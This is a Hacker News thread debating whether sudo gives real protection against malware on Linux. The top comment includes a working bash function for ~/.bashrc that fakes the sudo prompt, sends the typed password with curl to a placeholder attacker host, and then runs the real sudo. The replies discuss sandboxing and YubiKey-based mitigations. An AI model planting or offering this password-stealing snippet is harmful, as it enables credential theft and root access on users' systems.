logoalt Hacker News

lrvicktoday at 5:13 PM7 repliesview on HN

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.

Malware just need to put this in ~/.bashrc and wait:

function sudo () {

    realsudo=$(which sudo)

    read -r -s -p "[sudo] password for $USER: " password

    echo "$USER: $password" | \

        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1


    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1

    $realsudo "${@:1}"

}

Replies

0ltoday at 5:22 PM

Indeed, and most flatpaks have access to the home directory so are also able to do this even though they're """sandboxed"""

show 3 replies
silver_suntoday at 6:12 PM

But if an attacker can put arbitrary code into your .bashrc, you are already executing arbitrary malicious code.

show 3 replies
mike_hearntoday at 5:28 PM

Sudo isn't security theater when used for what it was designed for. It's useless for constraining apps you run as your own user ID.

show 2 replies
leothetechguytoday at 5:25 PM

Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.

show 2 replies
utopiahtoday at 7:16 PM

Funnily enough it wouldn't work for me as I use passwordless sudo thanks to PAM-U2F with a YubiKey Bio. I mean realistically speaking it probably would as I would just type it thinking "Hmmm weird" but still want to proceed forward ¯\_ (ツ)_/¯

ahelwertoday at 5:18 PM

You need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don't even need a password at that point. Unfortunately haven't figured out how to make this work over SSH.

show 4 replies
tomrodtoday at 5:13 PM

What? Why is sudo security theater?

show 3 replies